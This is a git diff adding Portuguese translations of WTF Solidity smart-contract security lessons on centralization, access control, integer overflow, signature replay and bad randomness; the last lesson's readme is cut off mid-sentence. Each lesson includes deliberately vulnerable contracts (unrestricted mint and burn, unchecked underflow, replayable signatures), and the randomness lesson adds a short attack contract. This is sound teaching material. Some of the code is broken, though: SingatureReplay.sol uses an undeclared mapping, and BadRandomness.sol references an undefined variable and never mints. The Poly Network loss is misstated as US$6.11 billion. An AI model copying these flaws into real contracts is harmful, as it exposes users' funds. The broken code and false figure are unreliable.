centralização é um dos riscos mais comuns em projetos Web3. A empresa de auditoria blockchain Certik afirmou em seu [Relatório de Segurança DeFi de 2021](https://f.hubspotusercontent40.net/hubfs/4972390/Marketing/defi%20security%20report%202021-v6.pdf): + +> O risco de centralização é a vulnerabilidade mais comum do DeFi, com 44 ataques de hackers relacionados a ele em 2021, resultando em perdas de fundos para os usuários superiores a 1,3 bilhão de dólares. Isso destaca a importância da descentralização; muitos projetos ainda precisam trabalhar para alcançar esse objetivo. + +Risco de centralização refere-se a contratos inteligentes nos quais a propriedade é centralizada, com um endereço (como `owner`) controlando o contrato e podendo modificar parâmetros, até mesmo retirar fundos dos usuários. Projetos centralizados possuem risco de ponto único de falha e podem ser explorados por desenvolvedores maliciosos (insiders) ou hackers que obterem a chave privada do endereço de controle para realizar ações como `rug-pull`, minting infinito, ou outras formas de roubo. + +O projeto de jogos blockchain `Vulcan Forged` foi hackeado em dezembro de 2021, resultando no roubo de 140 milhões de dólares. O projeto DeFi `EasyFi` foi hackeado em abril de 2021, resultando no roubo de 59 milhões de dólares devido a uma chave privada vazada. O projeto DeFi `bZx` foi vítima de um ataque de phishing que resultou em um roubo de 55 milhões de dólares devido à chave privada vazada. + +## Risco de Pseudo Descentralização + +Projetos de pseudo descentralização muitas vezes se autoproclamam descentralizados, mas na realidade possuem o mesmo risco de ponto único de falha que os projetos centralizados. Por exemplo, ao usar uma carteira multi-assinatura para gerenciar o contrato inteligente, mas com várias pessoas na multi-assinatura agindo de forma coordenada e controlada por uma pessoa. Esses projetos podem ganhar a confiança dos investidores por parecerem muito descentralizados, então quando ocorrem eventos de hackers, o valor roubado tende a ser maior. + +A ponte cruzada `Ronin` da popular jogo blockchain Axie foi hackeada em março de 2022, resultando no roubo de 624 milhões de dólares, o maior roubo da história. A ponte Ronin era mantida por 9 validadores, sendo necessário o consenso de 5 deles para aprovar transações de depósito e retirada. Parecia ser uma solução de multi-assinatura muito descentralizada. Mas na verdade, 4 dos validadores eram controlados pela empresa de desenvolvimento do Axie, Sky Mavis. E 1 validador controlado pelo Axie DAO também aprovou os nós de validação da Sky Mavis para assinar transações em seu nome. Assim, após um atacante obter a chave privada da Sky Mavis (método exato não divulgado), poderia controlar 5 nós de validação e autorizar o roubo de 173.600 ETH e 25,5 milhões de USDC. Além disso, em 1º de agosto de 2023, a carteira multi-assinatura do PEPE alterou seu limiar de `5/8` para apenas `2/8` e transferiu uma grande quantidade de PEPE da carteira multi-assinatura, mais um exemplo de pseudo descentralização. + +A ponte cruzada da `Harmony` na rede Harmony foi hackeada em junho de 2022, resultando no roubo de 100 milhões de dólares. A ponte Harmony era controlada por 5 pessoas em uma carteira multi-assinatura de forma bastante questionável, pois bastava a assinatura de 2 delas para aprovar uma transação. Quando o hacker conseguiu obter as chaves privadas de duas pessoas da multi-assinatura, ele pôde esvaziar os ativos depositados pelos usuários. + +![](./img/S03-1.png) + +## Exemplo de contratos vulneráveis + +Há uma variedade de contratos que apresentam riscos de centralização, aqui está apenas um exemplo comum: um contrato de `ERC20` onde o endereço `owner` pode emitir tokens arbitrariamente. Quando um insider ou hacker obtém a chave privada do `owner`, ele pode criar tokens infinitos, resultando em grandes perdas para os investidores. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract Centralization is ERC20, Ownable { + constructor() ERC20("Centralization", "Cent") { + address exposedAccount = 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2; + transferOwnership(exposedAccount); + } + + function mint(address to, uint256 amount) external onlyOwner{ + _mint(to, amount); + } +} +``` + +## Como reduzir o risco de centralização/pseudo descentralização? + +1. Utilize carteiras multi-assinatura para gerenciar o tesouro e controlar os parâmetros do contrato. Para equilibrar eficiência e descentralização, você pode escolher uma multi-assinatura 4/7 ou 6/9. Se você não está familiarizado com carteiras multi-assinatura, consulte [WTF Solidity Lesson 50: Multi-Signature Wallet](../50_MultisigWallet/readme_pt-br.md). + +2. Diversifique os proprietários da multi-assinatura, distribuindo entre a equipe fundadora, investidores e líderes comunitários, e não autorize ações de assinatura mútua. + +3. Utilize contratos de bloqueio de tempo para controlar o contrato, dando tempo para a equipe do projeto e comunidade reagirem a modificações maliciosas/roubos de ativos, minimizando as perdas. Se não tiver conhecimento sobre contratos de bloqueio de tempo, leia [WTF Solidity Lesson 45: Timelock](../45_Timelock/readme_pt-br.md). + +## Conclusão + +A centralização/pseudo descentralização representa o maior risco para projetos blockchain, resultando em perdas de fundos para usuários acima de 2 bilhões de dólares nos últimos dois anos. A centralização de riscos pode ser identificada analisando o código do contrato, enquanto os riscos de pseudo descentralização são mais difíceis de detectar e requerem uma diligência aprofundada do projeto para serem descobertos. + diff --git a/Languages/pt-br/S04_AccessControlExploit/AccessControlExploit.sol b/Languages/pt-br/S04_AccessControlExploit/AccessControlExploit.sol new file mode 100644 index 000000000..f95fb27a7 --- /dev/null +++ b/Languages/pt-br/S04_AccessControlExploit/AccessControlExploit.sol @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +// Exemplo de erro de gerenciamento de permissões +contract AccessControlExploit is ERC20, Ownable { + // Construtor: inicializa o nome e o código do token + constructor() ERC20("Wrong Access", "WA") {} + + // Função mint incorreta, sem restrição de permissão + function badMint(address to, uint amount) public { + _mint(to, amount); + } + + // Função mint correta, com o modificador onlyOwner para limitar a permissão + function goodMint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + // Função 'burn' incorreta, sem restrição de permissão + function badBurn(address account, uint amount) public { + _burn(account, amount); + } + + // Função burn correta, se não estiver destruindo seu próprio token, verificará a autorização. + function goodBurn(address account, uint amount) public { + if(msg.sender != account){ + _spendAllowance(account, msg.sender, amount); + } + _burn(account, amount); + } +} diff --git a/Languages/pt-br/S04_AccessControlExploit/img/S04-1.png b/Languages/pt-br/S04_AccessControlExploit/img/S04-1.png new file mode 100644 index 000000000..c39ac0973 Binary files /dev/null and b/Languages/pt-br/S04_AccessControlExploit/img/S04-1.png differ diff --git a/Languages/pt-br/S04_AccessControlExploit/img/S04-2.png b/Languages/pt-br/S04_AccessControlExploit/img/S04-2.png new file mode 100644 index 000000000..194ae432d Binary files /dev/null and b/Languages/pt-br/S04_AccessControlExploit/img/S04-2.png differ diff --git a/Languages/pt-br/S04_AccessControlExploit/readme.md b/Languages/pt-br/S04_AccessControlExploit/readme.md new file mode 100644 index 000000000..41d740b92 --- /dev/null +++ b/Languages/pt-br/S04_AccessControlExploit/readme.md @@ -0,0 +1,75 @@ +# WTF Solidity Contract Security: S04. Vulnerabilidade na Gestão de Permissões + +Recentemente tenho revisado meus conhecimentos em solidity para reforçar os detalhes, e estou escrevendo um "WTF Solidity Introdução Simplificada" para iniciantes (programadores experientes podem procurar outros tutoriais), com atualizações semanais de 1 a 3 aulas. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais são de código aberto no github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta aula, vamos abordar a vulnerabilidade na gestão de permissões em contratos inteligentes. Esta vulnerabilidade resultou no hack de US$ 6,11 bilhões na rede Poly Network e causou um hack de US$ 300.000 no projeto DeFi ShadowFi na BSC. + +## Vulnerabilidade na Gestão de Permissões + +A gestão de permissões em contratos inteligentes define as diferentes permissões dos diversos papéis na aplicação. Normalmente, funções como a cunhagem de tokens, a movimentação de fundos e a suspensão de operações requerem usuários com permissões mais elevadas para serem acionadas. Se as permissões forem configuradas incorretamente, isso pode resultar em perdas inesperadas. Abaixo, vamos abordar dois tipos comuns de vulnerabilidades na gestão de permissões. + +### 1. Erros na Configuração de Permissões + +Se funções especiais no contrato não tiverem uma gestão de permissões adequada, qualquer pessoa poderá cunhar grandes quantidades de tokens ou esvaziar os fundos do contrato. O contrato do Poly Network, que permite a transferência de guardiões, não tinha a configuração de permissões apropriada, o que permitiu que um hacker alterasse o seu próprio endereço como guardião, permitindo a retirada de US$ 6,11 bilhões do contrato. + +No código abaixo, a função `mint()` não tem uma gestão de permissões, o que significa que qualquer pessoa pode acioná-la para cunhar tokens. + +```solidity +// Função mint incorreta sem restrição de permissões +function badMint(address to, uint amount) public { + _mint(to, amount); +} +``` + +![](./img/S04-1.png) + +### 2. Falha na Verificação de Autorização + +Outro tipo comum de vulnerabilidade na gestão de permissões é a falta de verificação do autorizador em uma função. O contrato de token do ShadowFi na BSC esqueceu de verificar a autorização do saldo de um endereço na função `burn()`, permitindo que um atacante destruísse tokens de outros endereços. Após destruir os tokens na piscina de liquidez, o atacante poderia vender alguns tokens e depois retirar todo o `BNB` da piscina, lucrando US$ 300.000. + +```solidity +// Função burn incorreta sem restrição de permissões +function badBurn(address account, uint amount) public { + _burn(account, amount); +} +``` + +![](./img/S04-2.png) + +## Medidas de Prevenção + +As vulnerabilidades na gestão de permissões podem ser prevenidas principalmente de duas formas: + +1. Utilizando bibliotecas de gestão de permissões como o OpenZeppelin para configurar as permissões apropriadas para funções especiais do contrato, por exemplo, utilizando o modificador `OnlyOwner` para garantir que apenas o dono do contrato possa acioná-las. + +```solidity +// Função mint correta com modificador onlyOwner para limitar permissões +function goodMint(address to, uint amount) public onlyOwner { + _mint(to, amount); +} +``` + +2. Verificando se o autorizador possui autorização suficiente na lógica da função. + +```solidity +// Função burn correta, que verifica se não é possível queimar tokens de terceiros +function goodBurn(address account, uint amount) public { + if(msg.sender != account){ + _spendAllowance(account, msg.sender, amount); + } + _burn(account, amount); +} +``` + +## Conclusão + +Nesta aula, abordamos a vulnerabilidade na gestão de permissões em contratos inteligentes, que pode se manifestar de duas formas: erros na configuração de permissões e falhas na verificação de autorização. Para evitar essas vulnerabilidades, é importante utilizar bibliotecas de gestão de permissões como o OpenZeppelin para configurar permissões adequadas para funções especiais e verificar se o autorizador possui autorização suficiente na lógica da função. + diff --git a/Languages/pt-br/S05_Overflow/Overflow.sol b/Languages/pt-br/S05_Overflow/Overflow.sol new file mode 100644 index 000000000..1a54e31e4 --- /dev/null +++ b/Languages/pt-br/S05_Overflow/Overflow.sol @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Token { + mapping(address => uint) balances; + uint public totalSupply; + + constructor(uint _initialSupply) { + balances[msg.sender] = totalSupply = _initialSupply; + } + + function transfer(address _to, uint _value) public returns (bool) { + unchecked{ + require(balances[msg.sender] - _value >= 0); + balances[msg.sender] -= _value; + balances[_to] += _value; + } + return true; + } + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } +} diff --git a/Languages/pt-br/S05_Overflow/img/S05-1.png b/Languages/pt-br/S05_Overflow/img/S05-1.png new file mode 100644 index 000000000..86a36db65 Binary files /dev/null and b/Languages/pt-br/S05_Overflow/img/S05-1.png differ diff --git a/Languages/pt-br/S05_Overflow/readme.md b/Languages/pt-br/S05_Overflow/readme.md new file mode 100644 index 000000000..e5745545c --- /dev/null +++ b/Languages/pt-br/S05_Overflow/readme.md @@ -0,0 +1,79 @@ +# WTF Contratos Seguros em Solidity: S05. Overflow de Inteiros + +Recentemente, tenho revisitado o estudo do Solidity para revisar os detalhes e estou escrevendo um "Guia Simplificado de Introdução ao Solidity" para uso dos iniciantes (os especialistas em programação devem procurar outros tutoriais). Atualizações semanais, de 1 a 3 lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no Github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Nesta lição, vamos falar sobre a vulnerabilidade de overflow de inteiros (Arithmetic Over/Under Flows). Esta é uma vulnerabilidade clássica, mas a partir da versão 0.8 do Solidity, a biblioteca Safemath está integrada, o que reduz consideravelmente a ocorrência desse tipo de problema. + +## Overflow de Inteiros + +A Máquina Virtual Ethereum (EVM) possui tamanhos fixos para tipos de dados inteiros, o que significa que ela só pode representar números em determinados intervalos. Por exemplo, o tipo de dados `uint8` só pode representar números no intervalo de [0,255]. Se você atribuir o valor `257` a uma variável do tipo `uint8`, ocorrerá um overflow e o valor será `1`; se você atribuir `-1`, ocorrerá um underflow e o valor será `255`. + +Os hackers podem explorar essa vulnerabilidade para promover ataques. Imagine que um hacker tenha um saldo de `0` e, após gastar `$1`, o saldo dele se transforme em `$2^256-1`. Em 2018, o projeto `PoWHC` foi alvo de um ataque e teve `866 ETH` roubados devido a essa vulnerabilidade. + +![](./img/S05-1.png) + +## Exemplo de Contrato com a Vulnerabilidade + +O exemplo abaixo é de um contrato simples de token, inspirado em um contrato do Ethernaut. Ele possui `2` variáveis de estado: `balances` para armazenar o saldo de cada endereço e `totalSupply` para guardar o total de tokens em circulação. + +Esse contrato possui `3` funções: + +- Construtor: inicializa o total de tokens disponíveis. +- `transfer()`: função para transferir tokens. +- `balanceOf()`: função para consultar o saldo. + +Como a partir da versão `0.8.0` do Solidity há uma verificação automática de erros de overflow de inteiros, é necessário usar a palavra-chave `unchecked` para desativar temporariamente a verificação de overflow dentro de um bloco de código, como é feito na função `transfer()`. + +A vulnerabilidade neste exemplo está na função `transfer()`, onde `require(balances[msg.sender] - _value >= 0);` irá sempre passar devido ao overflow de inteiros, permitindo que os usuários realizem transferências ilimitadas. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Token { + mapping(address => uint) balances; + uint public totalSupply; + + constructor(uint _initialSupply) { + balances[msg.sender] = totalSupply = _initialSupply; + } + + function transfer(address _to, uint _value) public returns (bool) { + unchecked { + require(balances[msg.sender] - _value >= 0); + balances[msg.sender] -= _value; + balances[_to] += _value; + } + return true; + } + + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } +} +``` + +## Reproduzindo o Problema no `Remix` + +1. Deploy do contrato `Token`, com um total de `100` tokens. +2. Transferência de `1000` tokens para outra conta, com sucesso. +3. Consulta do saldo da própria conta, exibindo um número extremamente grande, próximo de `2^256`. + +## Medidas de Prevenção + +1. Para versões anteriores à `0.8.0`, é recomendado a utilização da biblioteca [Safemath](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol) para proteger contra erros de overflow de inteiros. + +2. A partir da versão `0.8.0` do Solidity, o `Safemath` está integrado diretamente, praticamente eliminando esse tipo de problema. Os desenvolvedores podem, algumas vezes, desativar temporariamente a verificação de overflow de inteiros utilizando a palavra-chave `unchecked`, porém devem garantir que não existam vulnerabilidades de overflow no código. + +## Conclusão + +Nesta lição, apresentamos a clássica vulnerabilidade de overflow de inteiros. Com a integração do `Safemath` a partir da versão 0.8.0 do Solidity, esse tipo de vulnerabilidade se tornou muito raro. + diff --git a/Languages/pt-br/S06_SignatureReplay/SingatureReplay.sol b/Languages/pt-br/S06_SignatureReplay/SingatureReplay.sol new file mode 100644 index 000000000..b917f7fb3 --- /dev/null +++ b/Languages/pt-br/S06_SignatureReplay/SingatureReplay.sol @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +// Exemplo de erro de gerenciamento de permissões +contract SigReplay is ERC20 { + + address public signer; + + // Construtor: inicializa o nome e o código do token + constructor() ERC20("SigReplay", "Replay") { + signer = msg.sender; + } + + /** + * Função de construção com vulnerabilidade de reentrada + * para: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * quantidade: 1000 + * Assinatura: 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b + */ + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } + + /** + * Combinar o endereço 'to' (tipo address) e o valor 'amount' (tipo uint256) para formar a mensagem msgHash + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * msgHash correspondente: 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be + */ + function getMessageHash(address to, uint256 amount) public pure returns(bytes32){ + return keccak256(abi.encodePacked(to, amount)); + } + + /** + * @dev Obter mensagem assinada do Ethereum + * `hash`: Hash da mensagem + * Segue o padrão de assinatura do Ethereum: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * E também `EIP191`: https://eips.ethereum.org/EIPS/eip-191` + * Adiciona o campo "\x19Ethereum Signed Message:\n32" para evitar que a assinatura seja de uma transação executável. + */ + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { + // 32 é o comprimento em bytes do hash, + // aplicado pela assinatura de tipo acima + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } + + // ECDSA verificação + function verify(bytes32 _msgHash, bytes memory _signature) public view returns (bool){ + return ECDSA.recover(_msgHash, _signature) == signer; + } + + + // Registre os endereços já mintados + + function goodMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + // Verifique se este endereço já foi mintado + require(!mintedAddress[to], "Already minted"); + // Registre os endereços que foram mintados + mintedAddress[to] = true; + _mint(to, amount); + } + + uint nonce; + + function nonceMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + nonce++; + } +} \ No newline at end of file diff --git a/Languages/pt-br/S06_SignatureReplay/img/S06-1.png b/Languages/pt-br/S06_SignatureReplay/img/S06-1.png new file mode 100644 index 000000000..d7366d372 Binary files /dev/null and b/Languages/pt-br/S06_SignatureReplay/img/S06-1.png differ diff --git a/Languages/pt-br/S06_SignatureReplay/img/S06-2.png b/Languages/pt-br/S06_SignatureReplay/img/S06-2.png new file mode 100644 index 000000000..c7169d870 Binary files /dev/null and b/Languages/pt-br/S06_SignatureReplay/img/S06-2.png differ diff --git a/Languages/pt-br/S06_SignatureReplay/img/S06-3.png b/Languages/pt-br/S06_SignatureReplay/img/S06-3.png new file mode 100644 index 000000000..042597822 Binary files /dev/null and b/Languages/pt-br/S06_SignatureReplay/img/S06-3.png differ diff --git a/Languages/pt-br/S06_SignatureReplay/img/S06-4.png b/Languages/pt-br/S06_SignatureReplay/img/S06-4.png new file mode 100644 index 000000000..4238aa09f Binary files /dev/null and b/Languages/pt-br/S06_SignatureReplay/img/S06-4.png differ diff --git a/Languages/pt-br/S06_SignatureReplay/img/S06-5.png b/Languages/pt-br/S06_SignatureReplay/img/S06-5.png new file mode 100644 index 000000000..2fe7922db Binary files /dev/null and b/Languages/pt-br/S06_SignatureReplay/img/S06-5.png differ diff --git a/Languages/pt-br/S06_SignatureReplay/readme.md b/Languages/pt-br/S06_SignatureReplay/readme.md new file mode 100644 index 000000000..901368a01 --- /dev/null +++ b/Languages/pt-br/S06_SignatureReplay/readme.md @@ -0,0 +1,167 @@ +--- +title: S06. Replay de Assinatura +tags: + - solidity + - segurança + - assinatura +--- + +# WTF Solidity Contratos Seguros: S06. Replay de Assinatura + +Recentemente, tenho estudado solidity novamente para revisar alguns detalhes e escrever um "Guia WTF de Introdução ao Solidity" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Nesta aula, vamos abordar o ataque de replay de assinatura em contratos inteligentes e métodos de prevenção. Esse tipo de ataque indiretamente levou ao roubo de 20 milhões de tokens $OP da famosa empresa de market making Wintermute. + +## Replay de Assinatura + +Quando eu estava na escola, os professores costumavam pedir para os pais assinarem algumas coisas, e às vezes, quando meus pais estavam ocupados, eu "gentilmente" copiava a assinatura deles. De certa forma, isso é um replay de assinatura. + +No blockchain, assinaturas digitais podem ser usadas para identificar o signatário dos dados e verificar a integridade dos dados. Ao enviar uma transação, o usuário assina a transação com sua chave privada, permitindo que outras pessoas verifiquem que a transação foi enviada pela conta correspondente. Os contratos inteligentes também podem usar o algoritmo `ECDSA` para verificar assinaturas criadas off-chain pelos usuários e, em seguida, executar lógicas como minting ou transferência de tokens. Para mais informações sobre assinaturas digitais, consulte a [Aula 37 do WTF Solidity: Assinaturas Digitais](../37_Signature/readme.md). + +Existem dois tipos comuns de ataques de replay de assinatura: + +1. Replay comum: reutilização de uma assinatura que deveria ser usada apenas uma vez. A série de NFTs "The Association" lançada pela NBA foi mintada gratuitamente devido a esse tipo de ataque. +2. Replay entre blockchains: reutilização de uma assinatura que deveria ser usada em uma blockchain em outra blockchain. A Wintermute, uma empresa de market making, teve 20 milhões de tokens $OP roubados devido a esse tipo de ataque. + +![](./img/S06-1.png) + +## Exemplo de Contrato Vulnerável + +O contrato `SigReplay` abaixo é um contrato de token ERC20 que possui uma vulnerabilidade de replay de assinatura em sua função de minting. Ele usa assinaturas off-chain para permitir que um endereço na lista branca `to` minte uma quantidade correspondente de tokens. O contrato armazena o endereço do `signer` para verificar se a assinatura é válida. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +// Exemplo de erro de gerenciamento de permissões +contract SigReplay is ERC20 { + + address public signer; + + // Construtor: inicializa o nome e o símbolo do token + constructor() ERC20("SigReplay", "Replay") { + signer = msg.sender; + } + + /** + * Função de minting com vulnerabilidade de replay de assinatura + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Assinatura: 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b + */ + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } + + /** + * Concatena o endereço `to` (tipo address) e o `amount` (tipo uint256) para formar a mensagem msgHash + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * msgHash correspondente: 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be + */ + function getMessageHash(address to, uint256 amount) public pure returns(bytes32){ + return keccak256(abi.encodePacked(to, amount)); + } + + /** + * @dev Obtém a mensagem assinada do Ethereum + * `hash`: hash da mensagem + * Segue o padrão de assinatura do Ethereum: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * e `EIP191`: https://eips.ethereum.org/EIPS/eip-191` + * Adiciona o campo "\x19Ethereum Signed Message:\n32" para evitar que a assinatura seja usada em transações executáveis. + */ + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { + // 32 é o tamanho em bytes do hash, + // conforme especificado na assinatura de tipo acima + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } + + // Verificação ECDSA + function verify(bytes32 _msgHash, bytes memory _signature) public view returns (bool){ + return ECDSA.recover(_msgHash, _signature) == signer; + } +``` + +**Observação:** A função de minting `badMint()` não verifica se a assinatura já foi usada, permitindo que a mesma assinatura seja usada várias vezes para mintar tokens indefinidamente. + +```solidity + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } +``` + +## Reproduzindo no `Remix` + +**1.** Implante o contrato `SigReplay`, o endereço do signatário `signer` será inicializado com o endereço da carteira que implantou o contrato. + +![](./img/S06-2.png) + +**2.** Use a função `getMessageHash` para obter a mensagem. + +![](./img/S06-3.png) + +**3.** Clique no botão de assinatura no painel de implantação do Remix e assine a mensagem com a chave privada. + +![](./img/S06-4.png) + +**4.** Chame repetidamente a função `badMint` para realizar um ataque de replay de assinatura e mintar uma grande quantidade de tokens. + +![](./img/S06-5.png) + +## Métodos de Prevenção + +Existem duas principais formas de prevenir ataques de replay de assinatura: + +1. Registrar as assinaturas usadas anteriormente, por exemplo, registrando os endereços que já mintaram tokens na variável `mintedAddress`, para evitar que a mesma assinatura seja usada novamente: + + ```solidity + mapping(address => bool) public mintedAddress; // Registra os endereços que já mintaram + + function goodMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + // Verifica se o endereço já mintou tokens + require(!mintedAddress[to], "Already minted"); + // Registra o endereço que mintou tokens + mintedAddress[to] = true; + _mint(to, amount); + } + ``` + +2. Incluir um `nonce` (um número que aumenta a cada transação) e o `chainid` (ID da blockchain) na mensagem assinada, para evitar ataques de replay comuns e entre blockchains: + + ```solidity + uint nonce; + + function nonceMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + nonce++; + } + ``` + +## Conclusão + +Nesta aula, abordamos a vulnerabilidade de replay de assinatura em contratos inteligentes e apresentamos duas formas de prevenção: + +1. Registrar as assinaturas usadas anteriormente para evitar o uso repetido. + +2. Incluir um `nonce` e o `chainid` na mensagem assinada. + diff --git a/Languages/pt-br/S07_BadRandomness/BadRandomness.sol b/Languages/pt-br/S07_BadRandomness/BadRandomness.sol new file mode 100644 index 000000000..ae717fcbf --- /dev/null +++ b/Languages/pt-br/S07_BadRandomness/BadRandomness.sol @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: MIT +// Por 0xAA +pragma solidity ^0.8.21; +import "../34_ERC721/ERC721.sol"; + +contract BadRandomness is ERC721 { + uint256 totalSupply; + + // Construtor, inicializa o nome e o código da coleção NFT + constructor() ERC721("", ""){} + + // Função de construção: só é possível fazer a cunhagem quando o número da sorte inserido for igual ao número aleatório. + function luckyMint(uint256 luckyNumber) external { + // obter número aleatório ruim + require(randomNumber == luckyNumber, "Better luck next time!"); + + // mint + totalSupply++; + } +} + +contract Attack { + function attackMint(BadRandomness nftAddr) external { + // Calcular números aleatórios antecipadamente + uint256 luckyNumber = uint256( + keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) + ) % 100; + // Usando o luckyNumber para atacar + nftAddr.luckyMint(luckyNumber); + } +} diff --git a/Languages/pt-br/S07_BadRandomness/img/S07-1.png b/Languages/pt-br/S07_BadRandomness/img/S07-1.png new file mode 100644 index 000000000..2ca9bcab7 Binary files /dev/null and b/Languages/pt-br/S07_BadRandomness/img/S07-1.png differ diff --git a/Languages/pt-br/S07_BadRandomness/readme.md b/Languages/pt-br/S07_BadRandomness/readme.md new file mode 100644 index 000000000..9e32bf3ca --- /dev/null +++ b/Languages/pt-br/S07_BadRandomness/readme.md @@ -0,0 +1,81 @@ +# WTF Solidity Contrato Seguro: S07. Má Sorteio + +Recentemente, tenho revisitado o estudo do Solidity para consolidar detalhes e escrever um "WTF Solidity guia introdutório" para iniciantes (os especialistas em programação podem procurar outros tutoriais). Será atualizado semanalmente com 1-3 aulas. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site Oficial da wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta aula, vamos falar sobre a vulnerabilidade de "Má Sorteio" em contratos inteligentes e métodos de prevenção. Essa vulnerabilidade é comum em projetos de NFT e GameFi, como Meebits, Loots, Wolf Game, entre outros. + +## Números Pseudorandômicos + +Muitas aplicações na Ethereum requerem o uso de números aleatórios, como para sortear `tokenId` de NFTs, abrir lootboxes, determinar resultados aleatórios em batalhas de GameFi, entre 